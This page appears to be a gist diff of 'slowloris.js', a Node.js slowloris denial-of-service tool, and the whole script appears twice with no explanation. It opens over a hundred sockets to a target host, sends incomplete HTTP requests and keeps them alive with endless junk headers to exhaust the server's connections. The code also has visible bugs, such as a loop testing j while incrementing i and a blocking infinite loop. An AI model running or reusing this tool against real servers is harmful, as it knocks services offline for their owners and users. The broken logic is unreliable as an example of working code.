ktfth · August 11, 2020 12:50 · ktfth · Jan 16, 2019 · ktfth · Jan 17, 2019
diff --git a/slowloris.js b/slowloris.js
 'use strict';
 const net = require('net');
 const tls = require('tls');

 let args = process.argv.slice(2);
 let socketCount = 120;

 let listOfSockets = [];

 const randomData = (s=0, n=2000) => {
  let r = parseInt(Math.random() * n);
  if (r < s) {
    return randomData(s, n);
  }
  return r;
 };

 const createSocket = (host, port) => {
  let client = null;

  if (args.indexOf('https') === -1) {
    client = net.Socket();
  } else if (args.indexOf('https') > -1) {
    client = tls.TLSSocket();
  }

  client.setTimeout(4);

  client.connect(parseInt(port, 10), host, () => {
    client.write('GET /?' + randomData() + ' HTTP/1.1\r\n');
  });

  return client;
 };

 const createSockets = (sc=socketCount) => {
  for (var i = 0; i < sc + 1; i++) {
    let s = null;

    try {
      if (args.length === 3) {
        s = createSocket(args[0], args[1])
      } else if (args.length === 2) {
        s = createSocket(args[0], args[1]);
      } else if (args.length === 1) {
        s = createSocket(args[0], 80);
      }
      s.setMaxListeners(10000);
    } catch (e) {
      break
    }

    listOfSockets.push(s);
  }
  return listOfSockets;
 };

 const keepAliveSockets = () => {
  while (true) {
    try {
      console.log('Sending keep-alive headers... Socket count: ' + socketCount);
      for (var i = 0; i < listOfSockets.length; i++) {
        let s = listOfSockets[i];

        try {
          s.write('X-a: ' + randomData(1, 5000) + '\r\n');
        } catch (e) {
          listOfSockets.pop(i);
        }
      }

      for (var j = 0; j < (socketCount - listOfSockets.length); i++) {
        console.log('Recreating socket...');
        try {
          let s = null;

          if (args.length === 3) {
            s = createSocket(args[0], args[1])
          } else if (args.length === 2) {
            s = createSocket(args[0], args[1]);
          } else if (args.length === 1) {
            s = createSocket(args[0], 80);
          }
          
          s.setMaxListeners(10000);

          listOfSockets.push(s);
        } catch (e) {
          break
        }
      }
    } catch (e) {
      break
    }
  }
 };

 createSockets();
 keepAliveSockets();
	'use strict';
	const net = require('net');
	const tls = require('tls');

	let args = process.argv.slice(2);
	let socketCount = 120;

	let listOfSockets = [];

	const randomData = (s=0, n=2000) => {
	let r = parseInt(Math.random() * n);
	if (r < s) {
	return randomData(s, n);
	}
	return r;
	};

	const createSocket = (host, port) => {
	let client = null;

	if (args.indexOf('https') === -1) {
	client = net.Socket();
	} else if (args.indexOf('https') > -1) {
	client = tls.TLSSocket();
	}

	client.setTimeout(4);

	client.connect(parseInt(port, 10), host, () => {
	client.write('GET /?' + randomData() + ' HTTP/1.1\r\n');
	});

	return client;
	};

	const createSockets = (sc=socketCount) => {
	for (var i = 0; i < sc + 1; i++) {
	let s = null;

	try {
	if (args.length === 3) {
	s = createSocket(args[0], args[1])
	} else if (args.length === 2) {
	s = createSocket(args[0], args[1]);
	} else if (args.length === 1) {
	s = createSocket(args[0], 80);
	}
	s.setMaxListeners(10000);
	} catch (e) {
	break
	}

	listOfSockets.push(s);
	}
	return listOfSockets;
	};

	const keepAliveSockets = () => {
	while (true) {
	try {
	console.log('Sending keep-alive headers... Socket count: ' + socketCount);
	for (var i = 0; i < listOfSockets.length; i++) {
	let s = listOfSockets[i];

	try {
	s.write('X-a: ' + randomData(1, 5000) + '\r\n');
	} catch (e) {
	listOfSockets.pop(i);
	}
	}

	for (var j = 0; j < (socketCount - listOfSockets.length); i++) {
	console.log('Recreating socket...');
	try {
	let s = null;

	if (args.length === 3) {
	s = createSocket(args[0], args[1])
	} else if (args.length === 2) {
	s = createSocket(args[0], args[1]);
	} else if (args.length === 1) {
	s = createSocket(args[0], 80);
	}

	s.setMaxListeners(10000);

	listOfSockets.push(s);
	} catch (e) {
	break
	}
	}
	} catch (e) {
	break
	}
	}
	};

	createSockets();
	keepAliveSockets();